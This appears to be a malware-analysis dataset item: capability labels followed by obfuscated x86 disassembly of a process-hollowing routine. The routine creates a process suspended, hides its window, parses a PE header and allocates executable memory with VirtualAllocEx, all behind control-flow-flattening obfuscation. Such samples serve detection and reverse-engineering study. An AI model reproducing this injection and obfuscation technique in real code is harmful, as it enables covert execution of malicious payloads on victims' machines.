Function at 0x100060e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x17c
mov eax, dword [0x1006b800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x184], 0xdf6bbd3c
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x188], eax
sub eax, 0x80a5673d
je 0x10009058
jmp 0x1000611c
mov eax, dword [ebp - 0x188]
sub eax, 0x80dc0baa
je 0x1000bbb3
jmp 0x10006132
mov eax, dword [ebp - 0x188]
sub eax, 0x814e5bda
je 0x1000c69f
jmp 0x10006148
mov eax, dword [ebp - 0x188]
sub eax, 0x81903182
je 0x1000dca6
jmp 0x1000615e
mov eax, dword [ebp - 0x188]
sub eax, 0x81ba4ec5
je 0x10008bc9
jmp 0x10006174
mov eax, dword [ebp - 0x188]
sub eax, 0x828d2862
je 0x1000ddbc
jmp 0x1000618a
mov eax, dword [ebp - 0x188]
sub eax, 0x838f61b6
je 0x1000881e
jmp 0x100061a0
mov eax, dword [ebp - 0x188]
sub eax, 0x8431c084
je 0x1000944b
jmp 0x100061b6
mov eax, dword [ebp - 0x188]
sub eax, 0x8507d854
je 0x1000a96c
jmp 0x100061cc
mov eax, dword [ebp - 0x188]
sub eax, 0x85203fdf
je 0x1000a718
jmp 0x100061e2
mov eax, dword [ebp - 0x188]
sub eax, 0x86f4ab19
je 0x10009b1c
jmp 0x100061f8
mov eax, dword [ebp - 0x188]
sub eax, 0x86feba95
je 0x1000a2c3
jmp 0x1000620e
mov eax, dword [ebp - 0x188]
sub eax, 0x873a0c14
je 0x1000dcd4
jmp 0x10006224
mov eax, dword [ebp - 0x188]
sub eax, 0x8873e19c
je 0x1000d1aa
jmp 0x1000623a
mov eax, dword [ebp - 0x188]
sub eax, 0x895a5415
je 0x1000a747
jmp 0x10006250
mov eax, dword [ebp - 0x188]
sub eax, 0x8965de48
je 0x1000aee8
jmp 0x10006266
mov eax, dword [ebp - 0x188]
sub eax, 0x8998e384
je 0x1000ac57
jmp 0x1000627c
mov eax, dword [ebp - 0x188]
sub eax, 0x89b69e93
je 0x10008be8
jmp 0x10006292
mov eax, dword [ebp - 0x188]
sub eax, 0x8a2fa45f
je 0x1000d21b
jmp 0x100062a8
mov eax, dword [ebp - 0x188]
sub eax, 0x8a4af726
je 0x1000ce71
jmp 0x100062be
mov eax, dword [ebp - 0x188]
sub eax, 0x8a566d3b
je 0x10009758
jmp 0x100062d4
mov eax, dword [ebp - 0x188]
sub eax, 0x8ae41535
je 0x1000b2e9
jmp 0x100062ea
mov eax, dword [ebp - 0x188]
sub eax, 0x8b3ce97d
je 0x1000863b
jmp 0x10006300
mov eax, dword [ebp - 0x188]
sub eax, 0x8b928ecb
je 0x1000c70d
jmp 0x10006316
mov eax, dword [ebp - 0x188]
sub eax, 0x8c07e726
je 0x1000954a
jmp 0x1000632c
mov eax, dword [ebp - 0x188]
sub eax, 0x8c6c99be
je 0x10009ef8
jmp 0x10006342
mov eax, dword [ebp - 0x188]
sub eax, 0x8ca076d1
je 0x1000891a
jmp 0x10006358
mov eax, dword [ebp - 0x188]
sub eax, 0x8d329e6f
je 0x1000b7b4
jmp 0x1000636e
mov eax, dword [ebp - 0x188]
sub eax, 0x8e325d92
je 0x100096d3
jmp 0x10006384
mov eax, dword [ebp - 0x188]
sub eax, 0x8e430a55
je 0x10009e1a
jmp 0x1000639a
mov eax, dword [ebp - 0x188]
sub eax, 0x8ec8036c
je 0x1000c498
jmp 0x100063b0
mov eax, dword [ebp - 0x188]
sub eax, 0x8ef47a29
je 0x1000bff9
jmp 0x100063c6
mov eax, dword [ebp - 0x188]
sub eax, 0x905c9cfb
je 0x1000951c
jmp 0x100063dc
mov eax, dword [ebp - 0x188]
sub eax, 0x919347ab
je 0x1000c9f3
jmp 0x100063f2
mov eax, dword [ebp - 0x188]
sub eax, 0x941ed7a9
je 0x1000de75
jmp 0x10006408
mov eax, dword [ebp - 0x188]
sub eax, 0x95c47d4d
je 0x1000af16
jmp 0x1000641e
mov eax, dword [ebp - 0x188]
sub eax, 0x961f2efe
je 0x1000abd2
jmp 0x10006434
mov eax, dword [ebp - 0x188]
sub eax, 0x96e46d2f
je 0x10008de0
jmp 0x1000644a
mov eax, dword [ebp - 0x188]
sub eax, 0x978acf36
je 0x1000952b
jmp 0x10006460
mov eax, dword [ebp - 0x188]
sub eax, 0x97d5d0e6
je 0x1000bb48
jmp 0x10006476
mov eax, dword [ebp - 0x188]
sub eax, 0x9842721c
je 0x1000c0e6
jmp 0x1000648c
mov eax, dword [ebp - 0x188]
sub eax, 0x996a9f5f
je 0x1000d096
jmp 0x100064a2
mov eax, dword [ebp - 0x188]
sub eax, 0x9a3f98d6
je 0x1000bcd2
jmp 0x100064b8
mov eax, dword [ebp - 0x188]
sub eax, 0x9b800227
je 0x1000dec2
jmp 0x100064ce
mov eax, dword [ebp - 0x188]
sub eax, 0x9bde6b88
je 0x1000ad26
jmp 0x100064e4
mov eax, dword [ebp - 0x188]
sub eax, 0x9beb1486
je 0x10008ce5
jmp 0x100064fa
mov eax, dword [ebp - 0x188]
sub eax, 0x9c46df35
je 0x1000e141
jmp 0x10006510
mov eax, dword [ebp - 0x188]
sub eax, 0x9cb938de
je 0x1000ae62
jmp 0x10006526
mov eax, dword [ebp - 0x188]
sub eax, 0x9e174122
je 0x1000b456
jmp 0x1000653c
mov eax, dword [ebp - 0x188]
sub eax, 0x9e5077c3
je 0x100098e6
jmp 0x10006552
mov eax, dword [ebp - 0x188]
sub eax, 0x9e7a0c7c
je 0x1000b9a4
jmp 0x10006568
mov eax, dword [ebp - 0x188]
sub eax, 0x9f5e0a5b
je 0x10009c66
jmp 0x1000657e
mov eax, dword [ebp - 0x188]
sub eax, 0xa01db590
je 0x1000bb67
jmp 0x10006594
mov eax, dword [ebp - 0x188]
sub eax, 0xa0ab1756
je 0x1000b9d3
jmp 0x100065aa
mov eax, dword [ebp - 0x188]
sub eax, 0xa0ab9ff4
je 0x10009d62
jmp 0x100065c0
mov eax, dword [ebp - 0x188]
sub eax, 0xa1081561
je 0x10009c09
jmp 0x100065d6
mov eax, dword [ebp - 0x188]
sub eax, 0xa122ea59
je 0x1000bdf9
jmp 0x100065ec
mov eax, dword [ebp - 0x188]
sub eax, 0xa25486b9
je 0x1000e236
jmp 0x10006602
mov eax, dword [ebp - 0x188]
sub eax, 0xa276c17b
je 0x1000e035
jmp 0x10006618
mov eax, dword [ebp - 0x188]
sub eax, 0xa3ec3b31
je 0x10008eff
jmp 0x1000662e
mov eax, dword [ebp - 0x188]
sub eax, 0xa4bb7126
je 0x1000b180
jmp 0x10006644
mov eax, dword [ebp - 0x188]
sub eax, 0xa612595a
je 0x10009b4a
jmp 0x1000665a
mov eax, dword [ebp - 0x188]
sub eax, 0xa6227b9c
je 0x1000a859
jmp 0x10006670
mov eax, dword [ebp - 0x188]
sub eax, 0xa8b8492d
je 0x1000b038
jmp 0x10006686
mov eax, dword [ebp - 0x188]
sub eax, 0xa9394b87
je 0x1000db05
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011c0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011c0
add esp, 4
movss xmm0, dword [0x1001b250]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x1001b24c]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x1001b248]
movss dword [ebp - 0x124], xmm0
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf4bff887
mov ecx, 0xb42316fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
mov edx, ecx
sub edx, 0x5521c465
sub edx, 1
add edx, 0x5521c465
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5176729a
mov ecx, 0xf581692
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dword [ebp - 0x184], 0xc92863c0
jmp 0x1000e29d
movss xmm0, dword [0x1001b394]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x184], 0x89b69e93
jmp 0x1000e29d
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
add edx, 0x4de9c554
sub edx, 1
sub edx, 0x4de9c554
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb7b375a0
mov ecx, 0x4cd04035
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dl, 1
mov eax, 0x3fb12c62
mov ecx, 0xe5fbc630
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x64ff8850
mov ecx, 0x5ecd930
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
movss xmm0, dword [0x1001b22c]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x1001b228]
movss dword [ebp - 0x128], xmm0
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x68293c82
mov ecx, 0x719ed752
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
movss xmm0, dword [0x1001b224]
movss dword [ebp - 0x128], xmm0
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
mov edx, ecx
add edx, 0x88f735bb
sub edx, 1
sub edx, 0x88f735bb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5ff60ce5
mov ecx, 0x30ab5abe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
movss xmm0, dword [0x1001b370]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x184], 0xd4e6723f
jmp 0x1000e29d
mov dword [ebp - 0x184], 0x978acf36
jmp 0x1000e29d
movss xmm0, dword [0x1001b36c]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x184], 0x8c07e726
jmp 0x1000e29d
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
mov edx, ecx
sub edx, 0xe10b7f6b
sub edx, 1
add edx, 0xe10b7f6b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x59076733
mov ecx, 0xc1d68701
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
mov edx, ecx
add edx, 0x3bccae62
sub edx, 1
sub edx, 0x3bccae62
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4b3f35b7
mov ecx, 0x16ed5f85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
movss xmm0, dword [0x1001b360]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x1001b35c]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x184], 0xa7de6dc
jmp 0x1000e29d
mov dword [ebp - 0x184], 0xcd9f26f4
jmp 0x1000e29d
mov dword [ebp - 0x184], 0xd9338352
jmp 0x1000e29d
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
sub edx, 0x1532f896
sub edx, 1
add edx, 0x1532f896
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd8836b6
mov ecx, 0x31b234e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
movss xmm0, dword [0x1001b33c]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x1001b338]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x184], 0x34ef7b29
jmp 0x1000e29d
mov dl, 1
mov eax, 0xf12b8cb
mov ecx, 0xeb4ab8f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dword [ebp - 0x184], 0xb6b334c8
jmp 0x1000e29d
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2aa1bc4e
mov ecx, 0xe48a4a34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dl, 1
mov eax, 0x53ee458c
mov ecx, 0xba28abc9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dword [ebp - 0x184], 0x977385a
jmp 0x1000e29d
movss xmm0, dword [0x1001b2f4]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x1001b2f0]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x184], 0x895a5415
jmp 0x1000e29d
mov dword [ebp - 0x184], 0x626017c8
jmp 0x1000e29d
mov dl, 1
mov eax, 0xf601722b
mov ecx, 0x239d34b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dword [ebp - 0x184], 0xf601722b
jmp 0x1000e29d
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
mov edx, ecx
sub edx, 0xa4e58742
sub edx, 1
add edx, 0xa4e58742
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x462faf43
mov ecx, 0x26311df2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x941ed7a9
mov ecx, 0xb03df208
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dword [ebp - 0x184], 0xbf0c9c7e
jmp 0x1000e29d
movss xmm0, dword [0x1001b1d4]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
mov edx, ecx
sub edx, 0xb7be7ed2
sub edx, 1
add edx, 0xb7be7ed2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3d7d5c12
mov ecx, 0x8965de48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dword [ebp - 0x184], 0xdb62e180
jmp 0x1000e29d
movss xmm0, dword [0x1001b2c4]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x184], 0x48ebbb1b
jmp 0x1000e29d
mov dword [ebp - 0x184], 0x5a54f17b
jmp 0x1000e29d
movss xmm0, dword [0x1001b2ac]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x184], 0xf622042a
jmp 0x1000e29d
movss xmm0, dword [0x1001b1d0]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x1001b1cc]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc7e7d6fa
mov ecx, 0x59e5ef3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dl, 1
mov eax, 0xedae3e58
mov ecx, 0x43e752a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
movss xmm0, dword [0x1001b298]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x184], 0xbcad4cff
jmp 0x1000e29d
movss xmm0, dword [0x1001b294]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x1001b290]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x184], 0xa0ab1756
jmp 0x1000e29d
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
mov edx, ecx
add edx, 0xa9b48c1
sub edx, 1
sub edx, 0xa9b48c1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x75a0fc14
mov ecx, 0x1fcfe90c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
movss xmm0, dword [0x1001b280]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x184], 0xa01db590
jmp 0x1000e29d
mov dl, 1
mov eax, 0xb05256d2
mov ecx, 0xdc1fd819
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dword [ebp - 0x184], 0xb05256d2
jmp 0x1000e29d
movss xmm0, dword [0x1001b1ac]
movss dword [ebp - 0x140], xmm0
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe58e65b7
mov ecx, 0x1619230b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dl, 1
mov eax, 0x64291252
mov ecx, 0x7a006e28
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dl, 1
mov eax, 0x9842721c
mov ecx, 0xbe43c179
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
movss xmm0, dword [0x1001b25c]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x184], 0x63e64197
jmp 0x1000e29d
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
add edx, 0x90e2442c
sub edx, 1
sub edx, 0x90e2442c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5d016969
mov ecx, 0xfb7dc69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov eax, dword [ebp - 0x148]
movzx edx, word [eax]
mov eax, 0xf266bb4f
mov ecx, 0xd4af67ce
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
add edx, 0xe69b0b0
sub edx, 1
sub edx, 0xe69b0b0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c46df35
mov ecx, 0xe2c449b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.10005ae0
add esp, 4
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x150]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x184], 0x4c7a10ab
jmp 0x1000e29d
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xc0]
imul ecx, ecx, 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov edx, dword [ebp - 0xc8]
mov eax, 0x615f9f1b
mov ecx, 0x4e579857
cmp edx, esi
cmovae eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov dword [ebp - 0x184], 0xdae5a3f4
jmp 0x1000e29d
mov dl, byte [ebp - 0xa9]
mov eax, 0xe8c06374
mov ecx, 0xe68de062
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x1000e29d
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x184], 0xf2054604
jmp 0x1000e29d
movss xmm0, dword [0x1001b20c]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x184], 0xb2087099
jmp 0x1000e29d
movss xmm0, dword [0x1001b208]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x1001b204]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x184], 0xc95e4c
jmp 0x1000e29d
movss xmm0, dword [0x1001b1ec]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x1001b1e8]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x1001b1e4]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x184], 0x1499472e
jmp 0x1000e29d
movss xmm0, dword [0x1001b1d8]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x184], 0xb03df208
jmp 0x1000e29d
mov dword [ebp - 0x184], 0xfa2a46f
jmp 0x1000e29d
movss xmm0, dword [0x1001b1a4]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x184], 0x18284b0d
jmp 0x1000e29d
mov dword [ebp - 0x184], 0xe2c449b9
jmp 0x1000e29d
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x184], 0x57d5c5f2
jmp 0x1000e29d
jmp 0x10006100